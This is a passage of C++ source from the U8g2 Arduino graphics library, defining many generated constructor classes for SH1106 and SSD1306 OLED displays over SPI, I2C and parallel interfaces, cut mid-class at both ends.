U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x32_visionox_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1106_128X32_VISIONOX_F_6800 : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x32_visionox_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_128X32_VISIONOX_F_8080 : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_128x32_visionox_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_128X32_VISIONOX_1_SW_I2C : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x32_visionox_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1106_128X32_VISIONOX_1_HW_I2C : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x32_visionox_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1106_128X32_VISIONOX_1_2ND_HW_I2C : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x32_visionox_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1106_128X32_VISIONOX_2_SW_I2C : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x32_visionox_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1106_128X32_VISIONOX_2_HW_I2C : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x32_visionox_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1106_128X32_VISIONOX_2_2ND_HW_I2C : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x32_visionox_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1106_128X32_VISIONOX_F_SW_I2C : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x32_visionox_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1106_128X32_VISIONOX_F_HW_I2C : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x32_visionox_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1106_128X32_VISIONOX_F_2ND_HW_I2C : public U8G2 { public: U8G2_SH1106_128X32_VISIONOX_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x32_visionox_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_64X48_ER_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_64X48_ER_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x48_er_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_64X48_ER_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_64X48_ER_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x48_er_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_64X48_ER_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_64X48_ER_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x48_er_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_64X48_ER_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_64X48_ER_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x48_er_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_64X48_ER_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_64X48_ER_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x48_er_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_64X48_ER_1_6800 : public U8G2 { public: U8G2_SSD1306_64X48_ER_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x48_er_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_64X48_ER_1_8080 : public U8G2 { public: U8G2_SSD1306_64X48_ER_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x48_er_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_64X48_ER_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_64X48_ER_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x48_er_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_64X48_ER_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_64X48_ER_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x48_er_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_64X48_ER_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_64X48_ER_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x48_er_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_64X48_ER_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_64X48_ER_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x48_er_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_64X48_ER_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_64X48_ER_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x48_er_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_64X48_ER_2_6800 : public U8G2 { public: U8G2_SSD1306_64X48_ER_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x48_er_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_64X48_ER_2_8080 : public U8G2 { public: U8G2_SSD1306_64X48_ER_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x48_er_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_64X48_ER_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_64X48_ER_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x48_er_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_64X48_ER_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_64X48_ER_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x48_er_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_64X48_ER_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_64X48_ER_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x48_er_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_64X48_ER_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_64X48_ER_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x48_er_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_64X48_ER_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_64X48_ER_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x48_er_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_64X48_ER_F_6800 : public U8G2 { public: U8G2_SSD1306_64X48_ER_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x48_er_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_64X48_ER_F_8080 : public U8G2 { public: U8G2_SSD1306_64X48_ER_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_64x48_er_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_64X48_ER_1_SW_I2C : public U8G2 { public: U8G2_SSD1306_64X48_ER_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_64x48_er_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_64X48_ER_1_HW_I2C : public U8G2 { public: U8G2_SSD1306_64X48_ER_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_64x48_er_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_64X48_ER_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_64X48_ER_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_64x48_er_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_64X48_ER_2_SW_I2C : public U8G2 { public: U8G2_SSD1306_64X48_ER_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_64x48_er_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_64X48_ER_2_HW_I2C : public U8G2 { public: U8G2_SSD1306_64X48_ER_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_64x48_er_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_64X48_ER_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_64X48_ER_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_64x48_er_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_64X48_ER_F_SW_I2C : public U8G2 { public: U8G2_SSD1306_64X48_ER_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_64x48_er_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_64X48_ER_F_HW_I2C : public U8G2 { public: U8G2_SSD1306_64X48_ER_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_64x48_er_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_64X48_ER_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_64X48_ER_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_64x48_er_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_48X64_WINSTAR_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_48x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_48X64_WINSTAR_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_48x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_48X64_WINSTAR_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_48x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_48X64_WINSTAR_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_48x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_48X64_WINSTAR_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_48x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_48X64_WINSTAR_1_6800 : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_48x64_winstar_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_48X64_WINSTAR_1_8080 : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_48x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_48X64_WINSTAR_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_48x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_48X64_WINSTAR_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_48x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_48X64_WINSTAR_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_48x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_48X64_WINSTAR_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_48x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_48X64_WINSTAR_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_48x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_48X64_WINSTAR_2_6800 : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_48x64_winstar_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_48X64_WINSTAR_2_8080 : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_48x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_48X64_WINSTAR_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_48X64_WINSTAR_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_48x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_48X64_WINSTAR_F_4W_HW_SPI : public U8G2 { public: 